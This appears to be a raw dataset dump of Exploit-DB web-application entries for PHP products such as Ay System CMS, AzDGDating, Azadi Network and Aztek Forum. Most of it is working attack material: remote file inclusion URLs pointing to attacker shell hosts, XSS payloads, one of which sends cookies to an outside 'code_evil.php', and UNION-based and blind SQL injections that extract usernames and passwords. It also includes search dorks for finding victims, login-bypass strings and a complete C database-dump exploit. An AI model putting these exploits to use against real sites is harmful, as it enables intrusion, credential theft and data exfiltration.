deardaniel/secdata-raw huggingface dataset:
Exploit-DB #2263
Description: Ay System CMS 2.6 - 'main.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-08-27
Author: SHiKaA

Exploit:
#==============================================================================================
#Ay System Solutions CMS <= v2.6 (main.php) Remote File Inclusion Exploit
#===============================================================================================
#                                                                           
#Critical Level : Dangerous                                                 
#                                                                           
#Venedor site : http://www.aysad.net/            
#                                                                            
#Version : 2.6                                                 
#                                                              
#================================================================================================
#Bug in : manage/template/standard/main.php
#
#Vlu Code :
#--------------------------------
#     <?
#                include($path["ShowProcessHandle"]);
#     ?>
#
#================================================================================================
#
#Exploit :
#--------------------------------
#
#http://sitename.com/[Script Path]/manage/template/standard/main.php?path[ShowProcessHandle]=http://SHELLURL.COM?
#
#Example : http://site.turkradyosu.com
#
#
#================================================================================================
#Discoverd By : SHiKaA
#
#Conatact : SHiKaA-[at]hotmail.com
#
#GreetZ : Str0ke KACPER XoRon MDX Bl@Ck^B1rd AND ALL ccteam (coder-cruze-wolf) | cyper-worrior
==================================================================================================

# milw0rm.com [2006-08-27]
Exploit-DB #27120
Description: AZ Bulletin Board 1.0.x/1.1 - 'post.php' HTML Injection
Type: webapps
Platform: php
Date: 2006-01-23
Author: Roozbeh Afrasiabi

Exploit:
source: https://www.securityfocus.com/bid/16351/info

AZbb is prone to HTML-injection vulnerabilities. These issues are due to a lack of proper sanitization of user-supplied input before using it in dynamically generated content.

Attacker-supplied HTML and script code would be executed in the context of the affected website, potentially allowing for the theft of cookie-based authentication credentials. An attacker could also exploit this issue to control how the site is rendered to the user; other attacks are also possible. 

http://www.example.com/post.php?nickname="><script>alert('XSS')</script><!--

http://www.example.com/post.php?topic=>"<br><iframe%20src=javascript:alert()><br>"
Exploit-DB #37283
Description: AZ Photo Album - Cross-Site Scripting / Arbitrary File Upload
Type: webapps
Platform: php
Date: 2012-05-20
Author: Eyup CELIK

Exploit:
source: https://www.securityfocus.com/bid/53641/info

The AZ Photo Album is prone to a cross-site-scripting and an arbitrary-file-upload vulnerabilities because it fails to properly sanitize user-supplied input.

Attackers can exploit these issues to steal cookie information, execute arbitrary client side script code in the context of browser, upload and execute arbitrary files in the context of the webserver, and launch other attacks. 

http://www.example.com/demo/php-photo-album-script/index.php/%F6%22%20onmouseover=document.write%28%22google.com%22%29%20

http://www.example.com/demo/php-photo-album-script/index.php/?gazpart=suggest
Exploit-DB #27985
Description: AZ Photo Album Script Pro - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-05-23
Author: Luny

Exploit:
source: https://www.securityfocus.com/bid/18306/info

AZ Photo Album Script Pro is prone to a cross-site scripting vulnerability.

An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/index.php?&gazpart=view<IMG%20"""><SCRIPT>alert("XSS")</SCRIPT>">&<IMG%20"""><SCRIPT>alert("XSS")</SCRIPT>">gazimage=198
Exploit-DB #10830
Description: Azadi Network - 'page' SQL Injection
Type: webapps
Platform: php
Date: 2009-12-30
Author: Hussin X

Exploit:
|___________________________________________________
|
|  Azadi Network (page) Remote SQL Injection Vulnerability
|___________________________________________________
|--------------------    Hussin X  -------------------
|
|    Author:  Hussin X
|
|    Home :  WwW.IQ-ty.CoM<http://WwW.IQ-ty.CoM>
|
|    email  :  darkangel_g85[at]Yahoo[DoT]com
|
|___________________________________________________
|
| script    :  www.azadinet.net<http://www.azadinet.net>
|
| DorK   : "Powered By Azadi Network"
|___________________________________________________

Exploit:
________

index.php?page=30&bi=-1+union+select+1,concat(UserName,0x3e,Password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44+FROM+tb_kuserfara--

index.php?page=30&bi=-1+union+select+1,concat(UserName,0x3e,Password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44+FROM+bakact--

index.php?page=30&bi=-1+union+select+1,concat(UserName,0x3e,Password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44+FROM+bekhantemp--


IQ-SecuritY FoRuM
Exploit-DB #47034
Description: AZADMIN CMS 1.0 - SQL Injection
Type: webapps
Platform: php
Date: 2019-06-25
Author: felipe andrian

Exploit:
[+] Sql Injection on AZADMIN CMS of HIDEA v1.0

[+] Date: 24/06/2019

[+] CWE Number : CWE-89

[+] Risk: High

[+] Author: Felipe Andrian Peixoto

[+] Vendor Homepage: https://www.hidea.com/

[+] Contact: felipe_andrian@hotmail.com

[+] Tested on: Windows 7 and Linux

[+] Vulnerable Files: news_det.php

[+] Dork : inurl:"news_det.php?cod=" HIDEA

[+] Exploit : https://www.site.com/news_det.php?cod=[SQL Injection] 

[+] Payload : /*!50000and*/+/*!50000extractvalue*/(0x0a,/*!50000concat*/(0x0a,0x[PII_REDACTED]3a,(/*!50000select*/%20database()),0x3a[PII_REDACTED]))--+-

[+] PoC:
         http://site.com/news_det.php?cod=-1/*!50000and*/+/*!50000extractvalue*/(0x0a,/*!50000concat*/(0x0a,0x[PII_REDACTED]3a,(/*!50000select*/%20database()),0x3a[PII_REDACTED]))--+-
    
        https://site.com/news_det.php?cod=77/*!50000and*/+/*!50000extractvalue*/(0x0a,/*!50000concat*/(0x0a,0x[PII_REDACTED]3a,(/*!50000select*/%20database()),0x3a[PII_REDACTED]))--+-

[+] Example:

       curl 'http://site.com/news_det.php?cod=-1/*!50000and*/+/*!50000extractvalue*/(0x0a,/*!50000concat*/(0x0a,0x[PII_REDACTED]3a,(/*!50000select*/%20database()),0x3a[PII_REDACTED]))--+-' -H 'Host: www.centroconcept.com.br' -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0' -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' -H 'Accept-Language: pt-BR,pt;q=0.8,en-US;q=0.5,en;q=0.3' --compressed -H 'Cookie: PHPSESSID=dv0rd3b6rbghah80getonfp601' -H 'DNT: 1' -H 'Connection: keep-alive' -H 'Upgrade-Insecure-Requests: 1'

		XPATH syntax error: '
		s3x0u:centroco_ger:s3x0u'
Exploit-DB #15391
Description: Azaronline Design - SQL Injection
Type: webapps
Platform: php
Date: 2010-11-02
Author: XroGuE

Exploit:
########################################################################
# Name: Azaronline Design SQL Injection Vulnerability
# Vendor: http://azaronline.com
# Date: 2010-11-02
# Author: XroGuE
# Thanks to: Inj3ct0r.com,Exploit-DB.com,SecurityReason.com,Hack0wn.com !
# Contact: Xrogue_p3rsi4n_hack3r[at]Hotmail[Dot]com
# Home: Inj3ct0r.com
########################################################################
########################################################################
 
[+] Dork: intext:"Powered By Azaronline.com"
 
########################################################################
 
[+] SQL InjecTion Vulnerability:
 
[+] vuln: http://[site]/[path]/[news.php],[sgallery.php],[etc]?id=[SQLi]

[+] XPL : UNION all SELECT 1,2,group_Concat(user,0x3a,pass),4,5,6,7,8,9,10,11,12,13,14,15,16,17 from admin
 
########################################################################

[+] XSS/HTML InjecTion Vulnerability:

[+] vuln: [SearCh And Find It :P]

########################################################################
Exploit-DB #23934
Description: AzDGDatingLite 2.1.1 - 'index.php?language' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2004-04-07
Author: Janek Vind

Exploit:
source: https://www.securityfocus.com/bid/10084/info

Multiple cross-site scripting vulnerabilities have been reported in AzDGDatingLite. These issues may be exploited by enticing a victim user to visit a malicious link that includes hostile HTML and script code.

Exploitation could facilitate theft of cookie-based authentication credentials or other attacks.

This issue was reported in AzDGDatingLite 2.1.1. It is not known if earlier versions or commercial releases which share the same code base are affected, such as AzDGDatingPlatinum or AzDGDatingGold. 

http://www.example.com/azdlite/index.php?l=en"><script>alert(document.cookie);</script>
Exploit-DB #23935
Description: AzDGDatingLite 2.1.1 - 'view.php?id' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2004-04-07
Author: Janek Vind

Exploit:
source: https://www.securityfocus.com/bid/10084/info
 
Multiple cross-site scripting vulnerabilities have been reported in AzDGDatingLite. These issues may be exploited by enticing a victim user to visit a malicious link that includes hostile HTML and script code.
 
Exploitation could facilitate theft of cookie-based authentication credentials or other attacks.
 
This issue was reported in AzDGDatingLite 2.1.1. It is not known if earlier versions or commercial releases which share the same code base are affected, such as AzDGDatingPlatinum or AzDGDatingGold. 

http://www.example.com/azdlite/view.php?l=&id=00001<script>alert(document.cookie);</script>
Exploit-DB #33448
Description: AzDGDatingMedium 1.9.3 - 'l' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2009-12-29
Author: indoushka

Exploit:
source: https://www.securityfocus.com/bid/37514/info

Azerbaijan Development AzDGDatingMedium is prone to multiple cross-site scripting vulnerabilities because the application fails to sufficiently sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. 

http://www.example.com/datingscript/login.php?l=1>"><ScRiPt%20%0d%0a>alert[PII_REDACTED]60)%3B</ScRiPt>
http://www.example.com/datingscript/search.php?l=1>"><ScRiPt%20%0d%0a>alert[PII_REDACTED]60)%3B</ScRiPt>
http://www.example.com/datingscript/index.php?l=1>"><ScRiPt%20%0d%0a>alert[PII_REDACTED]60)%3B</ScRiPt>
Exploit-DB #37317
Description: AzDGDatingMedium 1.9.3 - Multiple Remote Vulnerabilities
Type: webapps
Platform: php
Date: 2012-05-27
Author: AkaStep

Exploit:
source: https://www.securityfocus.com/bid/53692/info

AzDGDatingMedium is prone to multiple remote vulnerabilities that includes a SQL-injection vulnerability, an information-disclosure vulnerability, a directory-traversal vulnerability and multiple cross-site scripting vulnerabilities,

Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, exploit latent vulnerabilities in the underlying database and gain access to sensitive information.

AzDGDatingMedium 1.9.3 is vulnerable; other versions may also be affected. 

http://www.example.com/learn/azdgscr/AzDGDatingMedium/admin/index.php?do=tedit&c_temp_edit=default&dir=../include/&f=config.inc.php%00<script>alert(1);</script>

http://www.example.com/learn/azdgscr/AzDGDatingMedium/admin/index.php?do=tedit&c_temp_edit=default%00<script>alert("AkaStep");</script>&dir=../include/&f=config.inc.php

http://www.example.com/learn/azdgscr/AzDGDatingMedium/admin/index.php?do=tedit&c_temp_edit=default&dir=../include/&f=config.inc.php
Exploit-DB #27615
Description: AzDGVote - Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-04-11
Author: SnIpEr_SA

Exploit:
source: https://www.securityfocus.com/bid/17447/info

AzDGVote is prone to a remote file-include vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker can exploit this issue to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.

http://www.example.com/poll/view.php?int_path=http://attacker
http://www.example.com/ordinaopenpodcast/script/poll/view.php?int_path=http://attacker
Exploit-DB #11711
Description: Azeno CMS - SQL Injection
Type: webapps
Platform: php
Date: 2010-03-13
Author: DevilZ TM

Exploit:
[~]######################################### InformatioN #############################################[~]
 
[~] Title     : Azeno CMS SQL Injection Vulnerability 
[~] Author    : DevilZ TM By D3v1l
[~] Homepage  : http://www.DEVILZTM.com
[~] Contact   : DevilZTM@Gmail.CoM & D3v1l.blackhat@yahoo.com
 
[~]#########################################   ExploiT   #############################################[~]
 
[~] Vulnerable File :
 
http://127.0.0.1/admin/index.php?id=[SQL]
 
[~] ExploiT         :
 
-1 UNION SELECT 1,2,3,4,5,6,7 FROM dc_user
 
[~] Example         :
 
http://127.0.0.1/admin/index.php?id=-1 UNION SELECT 1,2,3,4,5,6,7 FROM dc_user

 
[~]######################################### ThankS To ... ############################################[~]
 
[~] Special Thanks To My Best FriendS :
 
Exim0r , Raiden , b3hz4d , PLATEN , M4hd1 , Net.Edit0r , Amoo Arash , r3d-r0z AND All Iranian HackerS
 
[~] IRANIAN Young HackerZ
 
[~]#########################################   FinisH :D   #############################################[~]
Exploit-DB #25373
Description: Azerbaijan Development Group AzDGDatingPlatinum 1.1.0 - 'view.php?id' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2005-04-09
Author: kre0n

Exploit:
source: https://www.securityfocus.com/bid/13082/info

AzDGDatingPlatinum is reported prone to multiple vulnerabilities.

The following specific issues were identified:

- Multiple SQL-injection vulnerabilities. These issues could permit remote attackers to pass malicious input to database queries, resulting in the modification of query logic or other attacks. A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

- A cross-site scripting issue. An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

AzDGDatingPlatinum 1.1.0 is reported vulnerable. Other versions may be affected as well. 

http://www.example.com/[path]/view.php?l=default&id=3%3Cscript%3Ealert();%3C/script%3E
Exploit-DB #25374
Description: Azerbaijan Development Group AzDGDatingPlatinum 1.1.0 - 'view.php?id' SQL Injection
Type: webapps
Platform: php
Date: 2005-04-09
Author: kre0n

Exploit:
source: https://www.securityfocus.com/bid/13082/info
 
AzDGDatingPlatinum is reported prone to multiple vulnerabilities.
 
The following specific issues were identified:
 
- Multiple SQL-injection vulnerabilities. These issues could permit remote attackers to pass malicious input to database queries, resulting in the modification of query logic or other attacks. A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.
 
- A cross-site scripting issue. An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
 
AzDGDatingPlatinum 1.1.0 is reported vulnerable. Other versions may be affected as well. 

http://www.example.com/[path]/view.php?l=default&id=3'%20OR%20'a'='a'/*
Exploit-DB #12695
Description: Azimut Technologie - Admin Authentication Bypass
Type: webapps
Platform: php
Date: 2010-05-22
Author: Ra3cH

Exploit:
************************************************************
** Azimut Technologie Admin Login Bypass vulnerability
************************************************************
** Prodcut: Azimut Technologie
** Home : N/A
** Vunlerability : Admin Bypass
** Risk : High
** Dork : "© 2009 Azimut Technologie"
************************************************************
** Discovred by: Ra3cH
** From : Algeria
** Contact : e51@hotmail.fr
** *********************************************************
** Greetz to : ALLAH
** All Members of http://www.DZ4All.cOm/Cc
** And My BrOther AnGeL25dZ & yasMouh & ProToCoL & Mr.Benladen & T O X ! N £ & n2n &
***********************************************************
** Exploit:
** http://[PATH]/Use your intelligence
**
** user : ' or '1=1
** password : ' or '1=1
**
************************************************************
**
** user : ' or '1=1
** password : ' or '1=1
**
************************************************************
Exploit-DB #52059
Description: Azon Dominator Affiliate Marketing Script - SQL Injection
Type: webapps
Platform: php
Date: 2024-07-01
Author: Buğra Enis Dönmez

Exploit:
 # Exploit Title: Azon Dominator - Affiliate Marketing Script - SQL Injection
# Date: 2024-06-03
# Exploit Author: Buğra Enis Dönmez
# Vendor: https://www.codester.com/items/12775/azon-dominator-affiliate-marketing-script
# Demo Site: https://azon-dominator.webister.net/
# Tested on: Arch Linux
# CVE: N/A

### Request ###

POST /fetch_products.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Accept: */*
x-requested-with: XMLHttpRequest
Referer: https://localhost/
Cookie: PHPSESSID=crlcn84lfvpe8c3732rgj3gegg; sc_is_visitor_unique=rx12[PII_REDACTED]438191.4D4FA5E53F654F9150285A1CA42E7E22.8.8.8.8.8.8.8.8.8
Content-Length: 79
Accept-Encoding: gzip,deflate,br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
Host: localhost
Connection: Keep-alive

cid=1*if(now()=sysdate()%2Csleep(6)%2C0)&max_price=124&minimum_range=0&sort=112

###

### Parameter & Payloads ###

Parameter: cid (POST)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: cid=1) AND 7735=7735 AND (5267=5267

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: cid=1) AND (SELECT 7626 FROM (SELECT(SLEEP(5)))yOxS) AND (8442=8442

###
Exploit-DB #860
Description: Aztek Forum 4.0 - 'myadmin.php' Database Dumper
Type: webapps
Platform: php
Date: 2005-03-07
Author: sirius_black

Exploit:
/* Changed line 81 - Tested and working /str0ke */

/*
 *   LOTFREE Team presents :
 * Forum-Aztek v4.0 (4nd pr0b4bly inf3ri0r) Database Dump Xpl0it
 * 0day dUd3 X-)
 *
 * ./aztek-sploit 127.0.0.1 admin forum
 * HTTP/1.1 200 OK
 * Date: Sat, 05 Mar 2005 22:18:13 GMT
 * Server: Apache/2.0.50 (Ubuntu) PHP/4.3.8
 * X-Powered-By: PHP/4.3.8
 * Set-Cookie: ATK_ADMIN=
 * Expires: Sat, 05 Mar 2005 22:18:13 GMT
 * Content-Disposition: attachment; filename="backup-admin-2005-5-03-23-18-13.sql"
 * Connection: close
 * Transfer-Encoding: chunked
 * Content-Type: application/force-download
 *
 * (...)
 * INSERT INTO atk_users VALUES ('admin','admin','atm5zzHCTXNkc',0,'',0,0,0,'','',0,0,'','',[PII_REDACTED],63,'0','','','','','',0,0,'');
 *                            password in DES ---+^^^^^^^^^^^^^
 * (...)
 * sw333333t !
 * http://lotfree.next-touch.com
 */
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <errno.h>
#include <netinet/in.h>
#include <netdb.h>
#include <arpa/inet.h>
#include <string.h>

#define REQ1 "/myadmin.php?action=export_index&login="
#define REQ2 " HTTP/1.1\nHost: "
#define REQ3 "\nCookie: ATK_ADMIN=blah; ATK_LOGIN="
#define REQ4 "\nConnection: close\n\n"

unsigned long resolve (char *host) 
{
  struct in_addr in; 
  struct hostent *he; 
	    
  if((in.s_addr=inet_addr(host))==-1) 
  { 
    if((he=(struct hostent*)gethostbyname(host))==NULL) 
    { 
      herror("Resolving victim host"); 
      exit(1); 
    } 
    memcpy((caddr_t)&in, he->h_addr, he->h_length); 
  }
  return(in.s_addr); 
}

int main(int argc,char *argv[])
{
  int sock;
  struct sockaddr_in sin;
  char c;

  if(argc!=4)
  {
    printf("[*]--------------------------------[*]\n");
    printf(" | Aztek-Forum Database Dump Xploit |\n");
    printf(" |   sirius_black // LOTFREE Team   |\n");
    printf("[*]--------------------------------[*]\n\n");
    printf("Usage: %s <victim> <admin_login> <forum_directory>\n\n",argv[0]);
    printf("Exemple: %s www.tictactoe.com admin forum > database.sql\n\n",argv[0]);
    exit(1);
  }
  if((sock=socket(PF_INET,SOCK_STREAM,0))==-1)
  {
    perror("socket");
    exit(1);
  }
  sin.sin_family=AF_INET;
  sin.sin_port=htons(80);
  sin.sin_addr.s_addr=resolve(argv[1]);//  sin.sin_addr.s_addr=resolve("127.0.0.1");
  if(connect(sock,(struct sockaddr*)&sin,sizeof(struct sockaddr))==-1)
  {
    perror("connect");
    exit(1);
  }
  send(sock,"GET /",5,0);
  send(sock,argv[3],strlen(argv[3]),0);
  send(sock,REQ1,sizeof(REQ1)-1,0);
  send(sock,argv[2],strlen(argv[2]),0);
  send(sock,REQ2,sizeof(REQ2)-1,0);
  send(sock,argv[1],strlen(argv[1]),0);
  send(sock,REQ3,sizeof(REQ3)-1,0);
  send(sock,argv[2],strlen(argv[2]),0);
  send(sock,REQ4,sizeof(REQ4)-1,0);
  while((recv(sock,&c,1,0))==1)
  {
    putchar(c);
  }
  close(sock);
  return 0;
}

// milw0rm.com [2005-03-07]
Exploit-DB #24731
Description: Aztek Forum 4.0 - Multiple Input Validation Vulnerabilities
Type: webapps
Platform: php
Date: 2004-11-12
Author: benji lemien

Exploit:
source: https://www.securityfocus.com/bid/11654/info

Aztek Forum is reported prone to multiple input validation vulnerabilities. These issues may allow an attacker to carry out cross-site scripting and possibly other attacks.

All versions of Aztek Forum are considered vulnerable at the moment.

http://www.example.com/forum%20aztek/forum_2.php?msg=10
&return=')%3C/script%3E%3Cscript%3E%20% 20document.location=%20'www.example.com/code_evil.php?
cookie='%20+window.document.cookie;%20%20%3C/script%3E